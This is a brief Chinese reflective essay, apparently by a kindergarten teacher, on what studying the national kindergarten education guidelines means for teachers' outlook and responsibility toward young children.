《幼儿园指南》是我的良师益友，学习中不可缺少的朋友，每当我困惑的时候都会翻翻，看一看，找到教学管理中的精髓，来填充我的不足，并试着进行反思，这也是我的成长历程。

幼儿园指导创造了优质的幼儿教育，成为摆事在我国的幼教工作者面前的新生活。《纲要》集中体现了对幼儿的教育的指导。因此它的实施将在更大的程度上取决于广大教师的努力。

《纲要》总则中明确指出，“幼儿教育是基础教育的重要部分，是终身教育的奠定阶段”我国基础教育正在进行一场根本性的'改革，随着终身教育的提出和学习化社会的到来，基础教的功能正在被重新定义，我们必须根据新的基础教育理念来调整幼儿教育价值取向，在社会和教育的整体结构中，正确而清醒的把握幼教的实践方向。根据新的基础教育理念来审视和反思自己的工作，自觉地规范自己教育行为，理性的构建自己的教育观念。

我们都知道幼儿园期是对人的一生有着着重要影响的时期，然而又是易被成人忽视，幼儿自己全然不知其价值和不能把握其发展进程的时期，幼儿期是幼儿需要成人精心照相照顾和保护的时期，然而又是其自理，自立的需要日益增长的时期。为此纲要中指出教师的责任更加的重大。

它需要教师对生合的热爱珍惜和敬畏对生命规律和生命潜力的认识，理解和尊重对生命早期智慧的敏感，心中惊喜和理解。它需要教师深刻地懂得生命的整体性。从这个意义上说，幼儿教师必须进行上与幼儿生命特性相结合适应的教育，让幼儿在快乐的童年生活中获得有益于身心发展的经验。

学习《幼儿园指南》是我们一生学习的重要源泉，它值得我们珍视一生，它就像一面镜子一样随时照亮着我们，是我们进步的一个重要方向。只有学习好它，才能在各方面取得更大的进步。

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